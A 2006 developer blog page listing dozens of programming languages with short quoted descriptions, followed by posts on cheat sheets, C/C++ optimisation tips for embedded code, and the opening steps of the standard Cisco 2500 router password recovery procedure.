Euphoria is a simple, flexible, and easy-to-learn programming language.
It lets you quickly and easily develop programs for DOS and Windows. A Linux
version is coming soon. [...] Although Euphoria provides subscript checking,
uninitialized variable checking and numerous other run-time checks, it is
extremely fast. People have used it to develop high-speed 32-bit DOS games, as
well as 32-bit Windows programs.


The Official Euphoria Programming Page

Felix


Felix is new, high power, Open Source, community based programming
language which provides an ML style type system with a syntax that C++
programmers should find easy to learn. It generates C++ and supports
both use of C++ types as primitives, as well as embedding in existing
C++ written architectures in a natural manner.


Felix

ferite


ferite is a scripting language and engine all in one managable chunk. It
is designed to be easily extended in terms of API, and to be used within other
applications making them more configurable and useful to the end user. It has a
syntax similiar to a number of other langauges but remains clean and it's own
language. [The description from the Debian package mentions Perl, Python, C,
Java and Pascal as influences.]


ferite.org

Forth


Forth provides an interactive programming environment. Its primary
uses have been in scientific and industrial applications such as
instrumentation, robotics, process control, graphics and image
processing, artificial intelligence and business applications. The
principal advantages of Forth include rapid, interactive software
development and efficient use of computer hardware.


Forth is often spoken of as a language because that is its most visible
aspect. But in fact, Forth is both more and less than a conventional
programming language: more in that all the capabilities normally
associated with a large portfolio of separate programs (compilers,
editors, etc.) are included within its range and less in that it lacks
(deliberately) the complex syntax characteristic of most high-level
languages.


Forth Information on Taygeta, The ForthFreak wiki

Fortran



One of the widely used, early languages. Big in number crunching programming.


Fortran related links

Fortress


Sun's attempt at a new HPC language.


Links "The Fortress Language Spec v0.618"

Fril


Fuzzy Relational Inference Language. Logic programming language closely
related to Prolog, but adds fuzzy logic features.


Fril - Downloadable resources

GNU E


GNU E is a persistent, object oriented programming language developed as part
of the Exodus project. GNU E extends C++ with the notion of persistent data,
program level data objects that can be transparently used across multiple
executions of a program, or multiple programs, without explicit input and
output operations.


GNU E at ftp.cs.wisc.edu

Guile


Guile is an interpreter for the Scheme programming language, nicely packaged as
a library you can link into your programs. Your program has full access to the
interpreter's data structures, so you can extend Guile with your own
primitives, datatypes and syntax. The result is a scripting language tailored
to your application.


Guile

Gödel



Gödel is a declarative, general-purpose programming language in the family of
logic programming languages. It is a strongly typed language, the type system
being based on many-sorted logic with parametric polymorphism. It has a module
system. Gödel supports infinite precision integers, infinite precision
rationals, and also floating-point numbers. It can solve constraints over
finite domains of integers and also linear rational constraints. It supports
processing of finite sets. It also has a flexible computation rule and a
pruning operator which generalises the commit of the concurrent logic
programming languages. Considerable emphasis is placed on Gödel's meta-logical
facilities which provide significant support for meta-programs that do
analysis, transformation, compilation, verification, debugging, and so on.


The Gödel Programming Language

Haskell


Haskell is a `purely functional' language. Computation proceeds by
replacing expressions with their value. While all computer languages
incorporate functions to some degree, Haskell programs are composed
solely of functions. Haskell is based on lambda calculus, hence the l we
use as a logo. The language is named for the logician Haskell B. Curry,
whose work provided much of the logical basis for our language.


Haskell

Hugo


Hugo is a text adventure compiler and runtime engine, written by Kent Tessman.


ftp://ftp.gmd.de/if-archive/programming/hugo/

ICI


ICI is a programming language with a dynamic, object based data model with
the flow control constructs and operators of C. It is designed for use in
many environments, including embedded systems, as an adjunct to other
programs and as a text based interface to compiled libraries.


ICI at ftp.ntua.gr

Icon


Icon is a high-level, general-purpose programming language with a large
repertoire of features for processing data structures and character
strings. Icon is an imperative, procedural language with a syntax
reminiscent of C and Pascal, but with semantics at a much higher level.


The Icon Programming Language

Inform



A design system for interactive fiction.


Inform, ftp://ftp.gmd.de/if-archive/programming/

J


J is a very high level general-purpose language, with a strong emphasis
on functional programming and array processing. J was designed and
developed by Ken Iverson and Roger Hui, and implemented by Iverson
Software Inc (ISI).


J is distinguished by its simple and consistent rules, a large set of
built-in functions, powerful facilities for defining new operations, and
a general and systematic treatment of arrays. It is ideal for complex
analytical work, modelling, and rapid application development.


J Software

Java



«Object-Oriented Programming for the Internet.»


JavaSoft Home Page

Joy


The language Joy is a purely functional programming language. Whereas all other
functional programming languages are based on the application of functions to
arguments, Joy is based on the composition of functions. All such functions
take a stack as argument and produce a stack as value. Consequently much of Joy
looks like ordinary postfix notation.


Main page for the programming language JOY

K


Kx Systems describes K as an application development kit integrating

  • a concise language with powerful primitives and math notations

  • a high performance data engine for bulk objects
  • a graphical user interface
  • built-in memory management
  • interprocess communications
  • web-server capabilities
  • connectivity features


Kx Systems

LabVIEW


NI LabVIEW is the graphical development environment for creating
flexible and scalable test, measurement, and control applications
rapidly and at minimal cost. With LabVIEW, engineers and scientists
interface with real-world signals, analyze data for meaningful
information, and share results and applications. Regardless of
experience, LabVIEW makes development fast and easy for all users.


National Instruments LabVIEW page

Lava


an experimental object-oriented rapid application development (RAD)
language with parameterized ("virtual") types, refactoring and component
support, which replaces text editors completely by structure editors


LavaPE: The Object- and Component-Oriented Lava Program Development Environment

LIFE


LIFE (Logic, Inheritance, Functions, and Equations) is an experimental
programming language proposing to integrate three orthogonal programming
paradigms proven useful for symbolic computation. From the programmer's
standpoint, it may be perceived as a language taking after logic programming,
functional programming, and object-oriented programming. From a formal
perspective, it may be seen as an instance (or rather, a composition of three
instances) of a Constraint Logic Programming scheme due to Hoehfeld and Smolka
refining that of Jaffar and Lassez.


CLiki for the TUNES project: LIFE entry

Limbo



Limbo is a programming language intended for applications running distributed
systems on small computers. It supports modular programming, strong type
checking at compile- and run-time, interprocess communication over typed
channels, automatic garbage collection, and simple abstract data types. It is
designed for safe execution even on small machines without hardware memory
protection.


The Limbo Programming Language

Lingo


Lingo is a high level Windows programming language with automatic memory
management, simple class structure, large library, working example
programs, developer environment, dialog editor, compiler and debugger.
[...] Lingo has been under development for about 10 years.


Learn to Program with Lingo!

LISP


According to The New Hacker's Dictionary:



LISP /n./


[from `LISt Processing language', but mythically from `Lots of
Irritating Superfluous Parentheses'] AI's mother tongue, a language
based on the ideas of (a) variable-length lists and trees as
fundamental data types, and (b) the interpretation of code as
data and vice-versa. Invented by John McCarthy at MIT in the late
1950s, it is actually older than any other HLL still in use except
FORTRAN. Accordingly, it has undergone considerable adaptive radiation
over the years; modern variants are quite different in detail from the
original LISP 1.5. The dominant HLL among hackers until the early 1980s,
LISP now shares the throne with C.


Note: HLL is an acronym for "High-Level Language" (as opposed to for
instance assembler).


Common Lisp the Language, 2nd Edition

LOGO


Logo is a computer programming language designed for use by learners,
including children. One of the ideas guiding its creation was the
principle "low floor, high ceiling." This means that it should be easy
for the novice programmer to get started (the "low floor") writing
programs and getting satisfaction doing so, but that the language should
be powerful and extensive in a "sky is the limit" sort of way (the "high
ceiling").


LOGO computer programming language for learners

Lua



Lua is a programming language originally designed for extending applications,
but also frequently used as a general-purpose, stand-alone language. Lua
combines simple procedural syntax (similar to Pascal) with powerful data
description constructs based on associative arrays and extensible semantics.
Lua is dynamically typed, interpreted from bytecodes, and has automatic memory
management with garbage collection, making it ideal for configuration,
scripting, and rapid prototyping.


The Programming Language Lua

Matlab


MATLAB is an intuitive language and a technical computing environment. It
provides core mathematics and advanced graphical tools for data analysis,
visualization, and algorithm and application development.


The MathWorks: Developers of MATLAB

MC#


MC# - is a high-level object oriented programming language based on .NET
Platform created specially for developing complex industrial program
systems that could use multiprocessor architectures. It's an adaptation
of the base idea of Polyphonic C# language (nowadays also known as
Cdelta - Benton N., Cardelli L., Fournet C., Microsoft Research
Laboratory, Cambridge, UK) for the case when we have concurrent
distributed computations. This language has taken the best ideas from
languages: C#, Polyphonic C# (nowadays known as C-Omega or C# 3.0) and
T-System (T++ language).


MC# Home page

MCPL


MCPL is a simple typeless language which is based on BCPL. It makes extensive
use of pattern matching somewhat related to that used in ML and Prolog, and
some other features come from C.


MCPL

Mercury


Mercury is a new logic/functional programming language, which combines the
clarity and expressiveness of declarative programming with advanced static
analysis and error detection features. Its highly optimized execution algorithm
delivers efficiency far in excess of existing logic programming systems, and
close to conventional programming systems. Mercury addresses the problems of
large-scale program development, allowing modularity, separate compilation, and
numerous optimization/time trade-offs.


The Mercury home page

Miranda



The aim of the Miranda system is to provide a modern functional language,
embedded in an `industrial quality' programming environment. It is now
being used at a growing number of sites for teaching functional programming and
as a vehicle for the rapid prototyping of software.


The Miranda Programming Language

ML


ML (which stands for Meta-Language) is a family of advanced programming
languages with [usually] functional control structures, strict
semantics, a strict polymorphic type system, and parametrized
modules. It includes Standard ML, Lazy ML, CAML, CAML Light, and various
research languages. Implementations are available on many platforms,
including PCs, mainframes, most models of workstation, multi-processors
and supercomputers. ML has many thousands of users, is taught at many
universities (and is the first programming language taught at some).


A Gentle Introduction to ML

Modula-2


Modula-2 is a programming notation that corrects some of the
deficiencies of Pascal. It is suitable for learning programming, for
large projects written and maintained in the fashion of professional
software engineers, and for real time embedded systems.


A FAQ on Modula-2

Modula-3


Modula-3 is a member of the Pascal family of languages. Designed
in the late 1980s at Digital Equipment Corporation and Olivetti,
Modula-3 corrects many of the deficiencies of Pascal and Modula-2 for
practical software engineering. In particular, Modula-3 keeps the
simplicity of type safety of the earlier languages, while providing
new facilities for exception handling, concurrency, object-oriented
programming, and automatic garbage collection. Modula-3 is both a
practical implementation language for large software projects and an
excellent teaching language.


Modula-3 Home Page, Modula-3 Resource Page

Nemerle


Nemerle is a high-level statically-typed programming language for the
.NET platform. It offers functional, object-oriented and imperative
features. It has a simple C#-like syntax and a powerful meta-programming
system.


Nemerle home page

NeoBook


Multimedia authoring tool.


NeoSoft Corporation

NESL


NESL is a parallel language developed at Carnegie Mellon by the SCandAL
project. It integrates various ideas from the theory community (parallel
algorithms), the languages community (functional languages) and the system's
community (many of the implementation techniques). The most important new ideas
behind NESL are

  1. Nested data parallelism: this feature offers the benefits of data
    parallelism, concise code that is easy to understand and debug, while being
    well suited for irregular algorithms, such as algorithms on trees, graphs or
    sparse matrices [...].
  2. A language based performance model: this gives a formal way to calculated
    the work and depth of a program. These measures can be related to running
    time on parallel machines.


NESL: A Parallel Programming Language

NetRexx


NetRexx is a new human-oriented programming language, designed as an
effective and simple alternative to the Java language. With NetRexx, you
can create programs and applets for the Java environment faster and more
easily than by programming in Java. Using Java classes is especially
easy in NetRexx, as the different types of numbers and strings that Java
expects are handled automatically by the language.


Inspired by two very different programming languages, Rexx and Java,
NetRexx blends the easy-to-learn syntax of Rexx with the robustness and
portability of the Java environment. The result is a language which is
tuned for both scripting and application development, and is therefore
truly general-purpose.


NetRexx at IBM

Oberon-2


Oberon-2 is a general-purpose programming language in the tradit ion of
Pascal and Modula-2. Its most important features are block structure,
modularity, separate compilation, static typing with strong type
checking (also across module boundaries), and type extension with
type-bound procedures.Type extension makes Oberon-2 an object-oriented
language.


Optimizing Oberon-2 Compiler

Objective-C


Objective-C was designed by Brad J. Cox, whose primary purpose was to add
the main features of SmallTalk-80 to the C language. His work led to an
object-oriented language, with a complete programming enviroment inspired
by SmallTalk-80, even comprising a large part of the later's basic library.


comp.lang.objective-c Newsgroup FAQs

Obliq


Obliq is a lexically-scoped untyped interpreted language that supports
distributed object-oriented computation. An Obliq computation may involve
multiple threads of control within an address space, multiple address spaces on
a machine, heterogeneous machines over a local network, and multiple networks
over the Internet. Obliq objects have state and are local to a site. Obliq
computations can roam over the network, while maintaining network connections.


Obliq Quick Start

Occam


A programming language which facilitates writing parallel programs,
allowing the programmer to specify whether processes are to be executed
sequentially or in parallel. Based on CSP, it was originally developed
for the Transputer.


The Occam Archive

Octave


GNU Octave is a high-level language, primarily intended for numerical
computations. It provides a convenient command line interface for solving
linear and nonlinear problems numerically, and for performing other numerical
experiments using a language that is mostly compatible with Matlab. It may also
be used as a batch-oriented language.


Octave Home Page

Oz


[...] a concurrent object-oriented language with dataflow synchronization. Oz
combines concurrent and distributed programming with logical constraint-based
inference, [...]


The Mozart Programming System

Pascal


PASCAL is a programming language named after the 17th century
mathematican Blaise Pascal. Pascal

  • provides a teaching language that highlights concepts common to all
    computer languages
  • standardises the language in such a way that it makes programs easy
    to write


Strict rules make it difficult for the programmer to write bad code!


Pascal Programming

Perl


Perl is an interpreted language optimized for scanning arbitrary text
files, extracting information from those text files, and printing
reports based on that information. It's also a good language for many
system management tasks. The language is intended to be practical (easy
to use, efficient, complete) rather than beautiful (tiny, elegant,
minimal). It combines (in the author's opinion, anyway) some of the best
features of C, sed, awk, and sh, so people familiar with those languages
should have little difficulty with it.


The Perl Language Home Page

Phantom (Phi)


Phantom is a new interpreted language designed to address some of the
problems presented by large-scale, interactive, distributed applications
such as distributed conferencing systems, multi-player games, and
collaborative work tools. Phantom combines the distributed lexical
scoping semantics of Obliq with a substantial language core.


Phantom Home Page

PHP


PHP Version 3.0 is an HTML-embedded scripting language. Much of its syntax is
borrowed from C, Java and Perl with a couple of unique PHP-specific features
thrown in. The goal of the language is to allow web developers to write
dynamically generated pages quickly.


PHP: Hypertext Preprocessor

Pike (LPC)


Pike is a dynamic language with a syntax that looks like C. It is simple
to learn, doesn't need long compilation passes and has powerful builtin
data types that allows simple and fast data manipulation. Pike is GPL
which means that anybody can fetch if for free and use it for almost any
purpose they please.


Pike

PiXCL


PiXCL (PIxel-based eXtendable Command Language) is a [...]
Windows scripting language that includes a large set of image processing
commands and a TWAIN-device command set. It is intended to be used to
quickly create image acquisition, display and processing applications.
Includes string, integer, float, integer64 and double variable types and
arrays. Comes in three versions: FreePiXCL (unrestricted, earlier demo
version with 560 functions), PiXCL (700+ functions) and geoPiXCL (50+ extra
image processing and analysis functions). All versions include an EXE
compiler.


VYSOR Integration Inc

PL/B



The PL/B programming language, which was originally developed in 1972 as
DATABUS(R), is currently the primary business programming language for over
250,000 workstations in over 40 countries and is supported by at least nine
independent compiler companies on a broad range of hardware and operating
systems.


PL/B supports highly interactive business application programming in individual
and shared network environments. It has been developed to be easily learned in
shorter time frames and by less experienced personnel than a majority of other
standard languages. The language structure lends itself not only to easy code
generation, but also to easy automated code analysis and reengineering which
J15 feels are important considerations for future business programming
environments.


Note: J15 is the technical committee for the development of the ANSI standard
for PL/B.


J15 - Programming Language PL/B

PL/I


PL/I is a general-purpose programming language, which is used for
solving problems in a variety of fields such as commerce, science
(including mathematics, physics, chemistry), engineering (incl. civil,
electrical, aeronautics), medicine and so on. It can be used for
system programming, and the facilitites are such that it is rarely if
ever necessary to resort to machine-language or high-level language
programming to solve problems.


PL/I resources

Pliant



It's a bit difficult to describe what Pliant is, since it is more a new
generation of language than an improvement in a given programming language
family. The main idea behind Pliant: instead of building a slightly new
language that has a few new interresting features, build a newer, very tiny
language with a very simple syntax, where most advanced features can be written
in the language itself, as modules.


Introduction to Pliant Programming Language

Postscript


PostScript is a programming language optimized for printing graphics
and text (whether on paper, film, or CRT is immaterial). In the jargon
of the day, it is a page description language. It was introduced
by Adobe in 1985 and first (to my knowledge) appeared in the Apple
LaserWriter. The main purpose of PostScript was to provide a convenient
language in which to describe images in a device independent
manner. This device independence means that the image is described
without reference to any specific device features (e.g. printer
resolution) so that the same description could be used on any PostScript
printer (say, a LaserWriter or a Linotron) without modification.


A First Guide to Postscript

Prolog


PROgrammation en LOGique. Designed originally for natural-language processing.


Prolog Resource Guide

Python


Python is an interpreted, interactive, object-oriented programming
language. It is often compared to Tcl, Perl, Scheme or Java.


Python combines remarkable power with very clear syntax. It has modules,
classes, exceptions, very high level dynamic data types, and dynamic
typing. There are interfaces to many system calls and libraries,
as well as to various windowing systems (X11, Motif, Tk, Mac, MFC,
Gtk, Qt). New built-in modules are easily written in in C or C++. Python
is also usable as an extension language for applications that need a
programmable interface.


Python Language Home Page

Q


An Equational Programming Language. Q is a functional programming language
based on term rewriting. Thus, a Q program or "script" is simply a
collection of equations which are used to evaluate expressions in a
symbolic fashion.


Sourceforge, Encyklopedic article, "This document describes the Q programming language and system, version 4.5, 14 October 2003. Written by Albert Gräf, University of Mainz."

R


R, also known as `GNU S', is a system for statistical computation and graphics.
It consists of a language plus a run-time environment with graphics, a
debugger, access to certain system functions, and the ability to run programs
stored in script files. R implements a language which is not entirely unlike
the S language developed at AT&T Bell Laboratories by Rick Becker, John
Chambers and Allan Wilks. Indeed in the absence of an R manual, you can
(mostly) get along by using the S manual.


The R Project for Statistical Computing

REBOL


REBOL Is...


In general terms, REBOL is a small, flexible language for sharing
content (documents, databases, programs, multimedia) between people,
computers, processes, and networks.


In technical terms, REBOL is a distributed object language which
interprets symbolic, dynamically-scoped, relational environments. (You
wanted to know... [...])



Home of the REBOL Language

Rexx


Rexx is a procedural programming language that allows programs
and algorithms to be written in a clear and structured way. It is
easy to use by experts and casual users alike. Rexx has been designed
to make easy the manipulation of the kinds of symbolic objects that
people normally deal with such as words and numbers. Although Rexx has
the capability to issue commands to its host environment and to call
programs and functions written in other languages, Rexx is also designed
to be independent of its supporting system software when such commands
are kept to a minimum.


Ian's Rexx title page, Rexx Language Association website

RPG


RPG (Report Program Generator) is a programming language that originated as a
report-building program used in DEC and IBM minicomputer operating systems and
evolved into a fully procedural programming language. Its latest version, RPG
III, is supported by IBM's leading minicomputer system, the AS/400.
Historically, RPG has probably been the second most used programming language,
after COBOL, for commercial applications on mid-range computers.


Who Knew You Could Do That with RPG IV?

RPL/2


A descendant of Reverse Polish Lisp, obviously. Intended for symbolic and
scientific computation. Almost fully compatible with RPL on HP-28S.


RPL/2

Ruby


Ruby is the interpreted scripting language for quick and easy object-oriented
programming. It has many features to process text files and to do system
management tasks (as in perl).


Ruby Home Page

S



S is a very high level language and an environment for data analysis and
graphics. S was written by Richard A. Becker, John M. Chambers, and Allan R.
Wilks of AT&T Bell Laboratories Statistics Research Department. More
recently, other Bell Labs researchers have made major contributions to a new
modeling capability in S. The S language is the form in which S users express
their computations. The environment provides facilities for data management,
support for many graphics devices, etc. S is useful for computation in a wide
range of applications. It's a very general tool, so that applications are not
restricted to any particular subject area.


A Guide to the S Language

Sather


Sather is an object oriented language designed to be simple, efficient,
safe, flexible and non-proprietary. One way of placing it in the "space
of languages" is to say that it aims to be as efficient as C, C++, or
Fortran, as elegant as and safer than Eiffel, and support higher-order
functions and iteration abstraction as well as Common Lisp, CLU or
Scheme.


Sather home page

Scheme


Scheme is a statically scoped and properly tail-recursive
dialect of the Lisp programming language invented by Guy Lewis Steele
Jr. and Gerald Jay Sussman. It was designed to have an exceptionally
clear and simple semantics and few different ways to form expressions. A
wide variety of programming paradigms, including imperative, functional,
and message passing styles, find convenient expression in Scheme.



Scheme

Self


Designed for expressive power and malleability, Self combines
a pure, prototype-based object model with uniform access to state and
behavior. Unlike other languages, Self allows objects to inherit state
and to change their patterns of inheritance dynamically.


The Self Project

SETL


SET Language. One of the few languages with sets as a
basic data type.


/pub/languages/setl2 at cs.nyu.edu, Programming with Sets

Simula


SIMULA is an object-oriented programming language. It has been applied to
almost all kinds of data processing.


The language was defined in 1967 in the "SIMULA Common Base Language". The
language definition has been maintained by the SIMULA Standards Group (SSG),
and the latest definition is found in the "SIMULA Standard", adopted by the SSG
in 1986.


SIMULA has been implemented on almost all types of computers, ranging from
large mainframes to workstations and PC's.


Simula history

Sisal


A High Performance, Portable, Parallel Programming Language.


Sisal Lives

Smalltalk


An early object-oriented language that arguably takes the idea of OO to
an extreme. Designed to be extremely easily usable.


www.smalltalk.org Main Page

SNOBOL


SNOBOL is a special purposed language developed to provide a powerful means of
doing character string manipulation. Accordingly SNOBOL has a collection of
powerful operations for doing string pattern matchings. The most common early
application of SNOBOL was to write text editors.


The SNOBOL Programming Language, SNOBOL LANGUAGE WEB PAGE

SR


SR (Synchronizing Resources) is a language for writing concurrent
programs. The main language constructs are resources and
operations. Resources encapsulate processes and variables they share;
operations provide the primary mechanism for process interaction. SR
provides a novel integration of the mechanisms for invoking and
servicing operations. Consequently, all of local and remote procedure
call, rendezvous, message passing, dynamic process creation, multicast,
and semaphores are supported. SR also supports shared global variables
and operations.


The SR Programming Language

TADS


TADS stands for "Text Adventure Development System".


ftp://ftp.gmd.de/if-archive/programming/tads/

Tcl


Tcl (Tool Command Language; pronounce "tickle") is a string-based
scripting language and an interpreter for that language that is designed
to be easy to embed in other applications.


Tcl Developer Site

Theta


Some of Theta's features are:

  • Separate type and class hierarchies.
  • Multiple super-types
  • Single inheritance
  • Constrained parametric polymorphism
  • Subtype polymorphism


Theta

TOM


An object oriented language derived from C. The language promotes usability, as
opposed to reusability.


TOM

Turing


The Turing family of programming languages feature an easy to learn syntax that
provides strong error checking to make programming easier. They include all of
Pascal's features and more. While Turing is a completely "safe" language,
providing no direct access to the hardware, it's extension, Object Oriented
Turing, includes concurrency, exception handling, objects, classes and
inheritance, and systems programming language features; it is an alternative to
languages like C and Modula.


Turing and Object Oriented Turing Home Page

Visual Basic



Visual Basic was originally thought of as a replacement for the Windows
shell, using insertable third party objects as components in the user
interface. Microsoft bought the rights to the idea from Alan Cooper in
1988, and replaced the crude scripting language with a modified version
of their QuickBasic, making it a programming language with a visual UI
designer. The commercial product was released in 1992.


Visual Basic Instinct

WinBatch (WIL)


WinBatch is an easy-to-use yet very powerful programming tool - capable of
automating any task involving Windows. Use it for simple tasks like
connecting PC's to network servers, printing batch jobs out at odd hours,
and much more.

  • Control for every Windows PC

  • Macros for every purpose

  • Works from desktop to Internet


At the heart of WinBatch is our Windows Interface Language (WIL). It's a
high-level programming language for automating Windows; hundreds of
Windows tasks are pre-coded for you. Operations that require pages of code
in other programming languages are just a single function call in WinBatch.


Winbatch, the Batch Language for Windows

Yorick


The Yorick programming language includes scientific visualization functions
(with output to your screen, PostScript, or binary CGM), text and binary I/O
functions for reading and writing numbers by the millions, and basic linear
algebra functions adapted from the LAPACK library.


Yorick

ZPL


ZPL is a new array programming language designed from first principles for fast
execution on both sequential and parallel computers. [...] Users with
scientific computing experience can generally learn ZPL in a few hours. Those
who have used MATLAB or Fortran 90 may already be acquainted with array
programming style.


The ZPL Parallell Programming Language

Comment to let me know if I need to add anymore
Thanks for stopping


No Comments





A developers cheat sheet
November 06 2006 @ 04:48 AM

Databases / SQL Cheat Sheets

Language Cheat Sheets



Javascript

Version Control Cheat Sheets

Framework Cheat Sheets

Other cheetsheets

2 Comments





Optimizing C and C++ Code
November 06 2006 @ 10:23 PM

Embedded software often runs on processors with limited computation power, thus optimizing the code becomes a necessity. Here is the optimization techniques for C and C++ code developed for Real-time and Embedded Systems.

1. Adjust structure sizes to power of two
2. Place case labels in narrow range
3. Place frequent case labels first
4. Break big switch statements into nested switches
5. Minimize local variables
6. Declare local variables in the inner most scope
7. Reduce the number of parameters
8. Use references for parameter passing and return value for types bigger than 4 bytes
9. Don't define a return value if not used
10. Consider locality of reference for code and data
11. Prefer int over char and short
12. Define lightweight constructors
13. Prefer initialization over assignment
14. Use constructor initialization lists
15. Do not declare "just in case" virtual functions
16. In-line 1 to 3 line functions

Many techniques discussed here have roots in the material we covered in the articles dealing with C to Assembly translation. A good understanding of the following articles will help:

* C To Assembly Translation
* C To Assembly Translation II
* C To Assembly Translation III

Adjust structure sizes to power of two

When arrays of structures are involved, the compiler performs a multiply by the structure size to perform the array indexing. If the structure size is a power of 2, an expensive multiply operation will be replaced by an inexpensive shift operation. Thus keeping structure sizes aligned to a power of 2 will improve performance in array indexing.
Place case labels in narrow range

If the case labels are in a narrow range, the compiler does not generate a if-else-if cascade for the switch statement. Instead, it generates a jump table of case labels along with manipulating the value of the switch to index the table. This code generated is faster than if-else-if cascade code that is generated in cases where the case labels are far apart. Also, performance of a jump table based switch statement is independent of the number of case entries in switch statement.
Place frequent case labels first

If the case labels are placed far apart, the compiler will generate if-else-if cascaded code with comparing for each case label and jumping to the action for leg on hitting a label match. By placing the frequent case labels first, you can reduce the number of comparisons that will be performed for frequently occurring scenarios. Typically this means that cases corresponding to the success of an operation should be placed before cases of failure handling.
Break big switch statements into nested switches

The previous technique does not work for some compilers as they do not generate the cascade of if-else-if in the order specified in the switch statement. In such cases nested switch statements can be used to get the same effect.

To reduce the number of comparisons being performed, judiciously break big switch statements into nested switches. Put frequently occurring case labels into one switch and keep the rest of case labels into another switch which is the default leg of the first switch.
Splitting a Switch Statement


// This switch statement performs a switch on frequent messages and handles the
// infrequent messages with another switch statement in the default leg of the outer
// switch statement

pMsg = ReceiveMessage();
switch (pMsg->type)
{
case FREQUENT_MSG1:
handleFrequentMsg1();
break;

case FREQUENT_MSG2:
handleFrequentMsg2();
break;

. . .

case FREQUENT_MSGn:
handleFrequentMsgn();
break;

default:
// Nested switch statement for handling infrequent messages.
switch (pMsg->type)
{
case INFREQUENT_MSG1:
handleInfrequentMsg1();
break;

case INFREQUENT_MSG2:
handleInfrequentMsg2();
break;

. . .

case INFREQUENT_MSGm:
handleInfrequentMsgm();
break;
}
}

Minimize local variables

If the number of local variables in a function is less, the compiler will be able to fit them into registers. Hence, it will be avoiding frame pointer operations on local variables that are kept on stack. This can result in considerable improvement due to two reasons:

* All local variables are in registers so this improves performance over accessing them from memory.
* If no local variables need to be saved on the stack, the compiler will not incur the overhead of setting up and restoring the frame pointer.

Declare local variables in the inner most scope

Do not declare all the local variables in the outermost function scope. You will get better performance if local variables are declared in the inner most scope. Consider the example below; here object a is needed only in the error case, so it should be invoked only inside the error check. If this parameter was declared in the outermost scope, all function calls would have incurred the overhead of object a's creation (i.e. invoking the default constructor for a).
Local varialble scope

int foo(char *pName)
{
if (pName == NULL)
{
A a;
...
return ERROR;
}
...
return SUCCESS;
}

Reduce the number of parameters

Function calls with large number of parameters may be expensive due to large number of parameter pushes on stack on each call. For the same reason, avoid passing complete structures as parameters. Use pointers and references in such cases.
Use references for parameter passing and return value for types bigger than 4 bytes

Passing parameters by value results in the complete parameter being copied on to the stack. This is fine for regular types like integer, pointer etc. These types are generally restricted to four bytes. When passing bigger types, the cost of copying the object on the stack can be prohibitive. In case of classes there will be an additional overhead of invoking the constructor for the temporary copy that is created on the stack. When the function exits the destructor will also be invoked.

Thus it is efficient to pass references as parameters. This way you save on the overhead of a temporary object creation, copying and destruction. This optimization can be performed easily without a major impact to the code by replacing pass by value parameters by const references. (It is important to pass const references so that a bug in the called function does not change the actual value of the parameter.

Passing bigger objects as return values also has the same performance issues. A temporary return object is created in this case too.
Don't define a return value if not used

The called function does not "know" if the return value is being used. So, it will always pass the return value. This return value passing may be avoided by not defining a return value which is not being used.
Consider locality of reference for code and data

The processor keeps data or code that is referenced in cache so that on its next reference if gets it from cache. These cache references are faster. Hence it is recommended that code and data that are being used together should actually be placed together physically. This is actually enforced into the language in C++. In C++, all the object's data is in one place and so is code. When coding is C, the declaration order of related code and functions can be arranged so that closely coupled code and data are declared together.
Prefer int over char and short

With C and C++ prefer use of int over char and short. The main reason behind this is that C and C++ perform arithmetic operations and parameter passing at integer level, If you have an integer value that can fit in a byte, you should still consider using an int to hold the number. If you use a char, the compiler will first convert the values into integer, perform the operations and then convert back the result to char.

Lets consider the following code which presents two functions that perform the same operation with char and int.
Compaing char and int operations

char sum_char(char a, char b)
{
char c;
c = a + b;
return c;
}

int sum_int(int a, int b)
{
int c;
c = a + b;
return c;
}

A call to sum_char involves the following operations:

1. Convert the second parameter into an int by sign extension (C and C++ push parameters in reverse)
2. Push the sign extended parameter on the stack as b.
3. Convert the first parameter into an int by sign extension.
4. Push the sign extended parameter on to the stack as a.
5. The called function adds a and b
6. The result is cast to a char.
7. The result is stored in char c.
8. c is again sign extended
9. Sign extended c is copied into the return value register and function returns to caller.
10. The caller now converts again from int to char.
11. The result is stored.

A call to sum_int involves the following operations:

1. Push int b on stack
2. Push int a on stack
3. Called function adds a and b
4. Result is stored in int c
5. c is copied into the return value register and function returns to caller.
6. The called function stores the returned value.

Thus we can conclude that int should be used for all interger variables unless storage requirements force us to use a char or short. When char and short have to be used, consider the impact of byte alignment and ordering to see if you would really save space. (Many processors align structure elements at 16 byte boundaries)
Define lightweight constructors

As far as possible, keep the constructor light weight. The constructor will be invoked for every object creation. Keep in mind that many times the compiler might be creating temporary object over and above the explicit object creations in your program. Thus optimizing the constructor might give you a big boost in performance. If you have an array of objects, the default constructor for the object should be optimized first as the constructor gets invoked for every object in the array.
Prefer initialization over assignment

Consider the following example of a complex number::
Initialization and assignment

void foo()
{
Complex c;
c = (Complex)5;
}

void foo_optimized()
{
Complex c = 5;
}

In the function foo, the complex number c is being initialized first by the instantiation and then by the assignment. In foo_optimized, c is being initialized directly to the final value, thus saving a call to the default constructor of Complex.
Use constructor initialization lists

Use constructor initialization lists to initialize the embedded variables to the final initialization values. Assignments within the constructor body will result in lower performance as the default constructor for the embedded objects would have been invoked anyway. Using constructor initialization lists will directly result in invoking the right constructor, thus saving the overhead of default constructor invocation.

In the example given below, the optimized version of the Employee constructor saves the default constructor calls for m_name and m_designation strings.
Constructor initialization lists

Employee::Employee(String name, String designation)
{
m_name = name;
m_designation = designation;
}

/* === Optimized Version === */

Employee::Employee(String name, String designation): m_name(name), m_destignation (designation)
{
}

Do not declare "just in case" virtual functions

Virtual function calls are more expensive than regular function calls so do not make functions virtual "just in case" somebody needs to override the default behavior. If the need arises, the developer can just as well edit the additional base class header file to change the declaration to virtual.
In-line 1 to 3 line functions

Converting small functions (1 to 3 lines) into in-line will give you big improvements in throughput. In-lining will remove the overhead of a function call and associated parameter passing. But using this technique for bigger functions can have negative impact on performance due to the associated code bloat. Also keep in mind that making a method inline should not increase the dependencies by requiring a explicit header file inclusion when you could have managed by just using a forward reference in the non-inline version. (See the article on header file include patterns for more details).


Related Links

* C To Assembly Translation
* C To Assembly Translation II
* C To Assembly Translation III
* Byte Alignment and Ordering
* Header File Include Patterns
* C++ to C Mapping


No Comments





Cisco router password recovery
November 06 2006 @ 01:03 AM

The following procedure describes the process in recovering from a lost password on a Cisco 2500 router.


The router must first be rebooted and a “break” performed within the first 60 seconds of the boot process. This break sequence can also vary depending on what program is used to access the router, but is the usual key combination.

The router will now be in ROM Monitor mode. From the rom monitor prompt, change the default configuration register of 0x2102 to 0x2142 with the o/r 0x2142 command. Reload the router with the letter i. (As you can see, ROM Monitor mode is a lot different than working with the IOS!)

